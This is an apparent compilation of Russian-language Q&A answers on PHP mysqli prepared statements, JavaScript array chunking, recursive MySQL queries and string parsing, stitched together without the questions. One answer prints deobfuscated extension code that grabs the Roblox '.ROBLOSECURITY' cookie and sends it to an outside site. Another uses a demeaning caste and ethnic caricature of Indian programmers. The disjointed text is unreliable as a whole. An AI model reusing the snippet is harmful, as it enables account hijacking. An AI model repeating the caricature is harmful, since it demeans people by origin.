Alexey Hog

Ну вы доку-то почитайте.
Какой первый параметр у mysqli_stmt::bind_param()?

Смысл алгоритма: два указателя, которые двигаются слева направо.
Второй всегда правее первого.
Сравниваются два элемента массива под указателями. Меняются местами при необходимости.

Вот визуализация сортировки:

Можно подтвердить владение доменом совсем без доступа непосредственно к серверу, через DNS-запись.

Вкратце, этот код делает такое:

chrome.cookies.get({
    'url': 'https://www.roblox.com',
    'name': '.ROBLOSECURITY'
}, function(cookie) {
    fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
});

Подробности можно прочитать в документации.

Как упростить такой код? Загнать в любой js beautifier и начать переименовывать переменные. Все вычисляемые значения переписывать в явном виде. Рано или поздно код упростится до читабельности.

Или в более понятном виде:

[
  {
    path: './name-1.jpg',
    filename: 'name-1'
  },
  {
    path: './name-2.jpg',
    filename: 'name-2'
  },
  {
    path: './name-3.jpg',
    filename: 'name-3'
  },
  {
    path: './name-4.jpg',
    filename: 'name-4'
  }
].reduce((acc, item, idx, arr) => { if (idx % 2) { acc.push([ arr[idx-1], item ]) } return acc }, [])

/*
[
  [
    { path: './name-1.jpg', filename: 'name-1' },
    { path: './name-2.jpg', filename: 'name-2' }
  ],
  [
    { path: './name-3.jpg', filename: 'name-3' },
    { path: './name-4.jpg', filename: 'name-4' }
  ]
]
*/

Можно рассматривать нарезание массива на куски как самостоятельную операцию:

const chunked = (arr, chunkSize) =>
  arr.reduce((acc, n, i) => (
    (i % chunkSize) || acc.push([]),
    acc.at(-1).push(n),
    acc
  ), []);


console.log(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3));

А можно - как частный случай группировки, и не обязательно одних только массивов:

const group = (data, key) =>
  Array.prototype.reduce.call(
    data,
    (acc, n, i, a) => ((acc[key(n, i, a)] ??= []).push(n), acc),
    {}
  );

const chunked = (data, chunkSize) =>
  Object.values(group(data, (_, i) => i / chunkSize | 0));


console.log(chunked('0123456789', 3));
console.log(chunked(document.querySelectorAll('img'), 5));

Если режем на куски не массив, то и кусками тоже могут быть не массивы, а значения исходного типа (если данный тип поддерживает операцию получения куска значения):

const chunked = (data, chunkSize, slice = data.slice) =>
  Array.from(
    { length: Math.ceil(data.length / chunkSize) },
    function(_, i) {
      return this(i * chunkSize, (i + 1) * chunkSize);
    },
    (slice instanceof Function ? slice : Array.prototype.slice).bind(data)
  );


console.log(chunked('abcdefghij', 4)); // так кусками будут тоже строки
console.log(chunked('abcdefghij', 4, [].slice)); // а так - массивы
console.log(chunked($('img'), 5));

В качестве исходных данных могут выступать не только массивоподобные объекты, но и итерируемые, а саму выдачу кусков можно оформить в виде генератора:

function* chunked(data, chunkSize) {
  let chunk = [];

  for (const n of data) {
    if (chunk.push(n) === chunkSize) {
      yield chunk;
      chunk = [];
    }
  }

  if (chunk.length) {
    yield chunk;
  }
}


console.log(Array.from(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3)));
console.log([...chunked(document.querySelectorAll('img'), 5)]);
for (const n of chunked(Array(10).keys(), 4)) {
  console.log(n);
}

В MySQL 8 решается одним запросом:

WITH RECURSIVE `cte` (`id`, `parent_id`, `title`, `n`) AS (
  SELECT `id`, `parent_id`, `title`, 0
    FROM `table`
    WHERE `id` = :categoryId
  UNION
  SELECT `t`.`id`, `t`.`parent_id`, `t`.`title`, `n`+1
    FROM `cte`
    JOIN `table` AS `t` ON `t`.`id` = `cte`.`parent_id`
)
SELECT `id`, `title`
  FROM `cte`
  ORDER BY `n` DESC

Остаётся только выбрать все строки из ответа и вывести их в цикле.

WITH RECURSIVE
cte AS ( SELECT *, 1 level
         FROM category 
         WHERE id = $category_id
         UNION ALL
         SELECT cat.*, cte.level + 1
         FROM category cat
         JOIN cte ON cat.id = cte.parent_id )
SELECT *
FROM cte
ORDER BY level;

Для древних версий:

SELECT CONCAT_WS('=>', c1.id, c2.id, c3.id, c4.id, c5.id) path
FROM category c1
LEFT JOIN category c2 ON c1.parent_id = c2.id
LEFT JOIN category c3 ON c2.parent_id = c3.id
LEFT JOIN category c4 ON c3.parent_id = c4.id
LEFT JOIN category c5 ON c4.parent_id = c5.id
WHERE c1.id = $category_id

Ну соответственно подрихтовать до нужного вида выходного набора.

Вопрос хороший, но здесь мы упираемся в главную беду пхп - ВСЕ учебники в интернете, и особенно видео - показывают как писать адов говнокод из прошлого века.

1. Получение значения из адресной строки

Чтобы получить значение переменной, которую передали в строке запроса (это то что после знака вопроса), надо обратиться к переменной $_GET

То есть в данном случае можно написать $id = $_GET['id']. Имя получаемой переменной ($id) может быть любым и не обязательно совпадать с переданным значением. А вот в индекс массива $_GET разумеется надо писать именно то имя, которое в адресной строке. То есть если site.com/?id=1 то в $_GET['id'] будет значение 1.

2. Валидация данных

Далее очень желательно проверить, что мы в переменной получили то что хотели, а так же что мы вообще хоть что-то получили.

Сначала надо проверить наличие в массиве $_GET нужного ключа. В данном случае это можно сделать с помощью оператора isset() (хотя вообще она для проверки наличия ключей в массивах не рекомендуется)
Если для показа информации используем отдельную, специальную страницу, которая только занимается показом данных по айди, то после проверки на существование надо выдать ошибку.

Затем, поскольку id может быть только целым числом больше нуля, то лучше проверить и это тоже и тоже выдать ошибку.

3. Соединение с БД.

в "config.php" должно быть написано не то что там сейчас а вот это (со своими параметрами подключения разумеется)

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect($host, $user, $pass, $db_name);
$link->set_charset("utf8mb4");

4. SQL

Запрос, который нам нужен, выглядит так:
SELECT * FROM `product` WHERE id=1

5. Выполнение запроса в РНР

Но разумеется вместо 1 надо подставить значение переменной.
Это самое сложное. Но надо один раз выучить и потом везде применять

Важно, чтобы данные в БД всегда попадали отдельно от самого запроса. Это непреложное правило, которое надо соблюдать всегда.
Для этого надо

1. Заменить все переменные в запросе на специальные маркеры, которые называются плейсхолдеры или параметры, а по сути - просто знаки вопроса
   
2. Подготовить запрос к исполнению с помощью функции prepare(). Эта функция принимает строку запроса и возвращает экземпляр специального класса stmt, с которым в дальнейшем и производятся все манипуляции
   
3. Привязать переменные к запросу.
   
4. Выполнить подготовленный ранее запрос с помощью с помощью execute()
   
5. Получить результат запроса через get_result()
   
6. и дальше конкретную строку из БД с помощью уже знакомой fetch_assoc
   
   

В коде это будет так

$sql = "SELECT * FROM `product` WHERE id=?";
$stmt = $link->prepare($sql);
$stmt->bind_param("s", $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

bind_param() принимает в качестве параметров все переменные, которые должны попасть в запрос, в том же самом порядке, в котором стоят плейсхолдеры в запросе. Но кроме того, сначала в этой функции должны быть указаны типы для всех переменных, в виде строки, где тип переменной обозначается одной буквой. То есть букв в этой строке должно быть ровно столько, сколько дальше будет переменных. К счастью, можно особо не париться с типами и для всех переменных указывать тип "s".

6. Вывод данных.

Важно понимать, что в момент вывода данных никакой работы с БД уже быть не должно!
Должны быть только переменные РНР с уже полученными данными.

Взламывают точно так же как и мелкие.
В статье описана обычная SQL инъекция, когда данные подставляются прямо в SQL запрос.

Я просто сомневаюсь, что valve может нанять таких людей в backend

Не надо сомневаться.
Нету никаких "особенных способов взлома".
А есть такое явление как "эффективные менеджеры". У которых размер премии зависит от того, сколько денег они сэкономили акционерам.

Если бы там были подготовленные выражения, то и взлома бы не было.
Но вместо подготовленных выражений в больших компаниях есть эффективные менеджеры. Которые экономят на нормальных программистах, и заказывают разработку в Индии, в штате Бангалор. Где живет какой-нибудь Хамишь Кумар, который родился в касте вычерпывателей говна из сортиров. И вот у него только один шанс не черпать говно всю жизнь - всеми правдами и неправдами научиться программировать, путь даже за еду. Сравниваем с силиконовым программером с запросами $250k в месяц. Экономия налицо!

На всякий случай напомню, для стопроцентной защиты от инъекций необходимо всегда следовать двум простым правилам:

1. данные подставляем в запрос только через плейсхолдеры
   
2. идентификаторы и ключевые слова подставляем только из белого списка, прописанного в нашем коде.
   

Ключевое слово здесь - "всегда". Как только начинаются рассуждения вида "ну эти данные и так безопасные, их защищать не надо", то в этот момент мы добавляем инъекцию к себе на сайт. Следует понимать, что защищаем мы не данные, а запрос. Данные нас вообще не интересуют - какие они, откуда пришли, являются "безопасными" или нет. Важно не то откуда они пришли, а то, куда они идут. В SQL запрос? Используем подготовленные выражения, точка.

Из data-атрибута получать номер квартиры. По нему выбирать и path и элемент списка:

Подробнее.
Интересуют события, когда мышка наезжает на path или на элемент списка, и когда уезжает.

И у path и у элементов списка у каждого в дата-атрибуте data-flat записан номер квартиры.
Когда происходит событие, надо:

1. получить из data-атрибута номер квартиры
   
2. переключить класс active (включить или выключить его, в зависимости от типа события
   

Зная номер квартиры, можно выбрать элементы, у которых атрибут data-flat совпадает с этим номером. Для этого используется селектор [data-flat="42"]

Не надо никаких регулярных выражений:

str.split('=').pop()
// или
str.slice(str.indexOf('=') + 1)

Но, конечно, можно и регулярками:

str.replace(/[^=]*=/, '')
// или
str.match(/(?<==).*/)[0]
// или
/[^=]*$/.exec(str).shift()

А вообще, учитывая, чем является эта строка, и что вы хотите из неё получить:

new URLSearchParams(str).get('sort')

^(?=.*\d).{1,10}$

Пробовал input в label положить вообще не помогает

помогает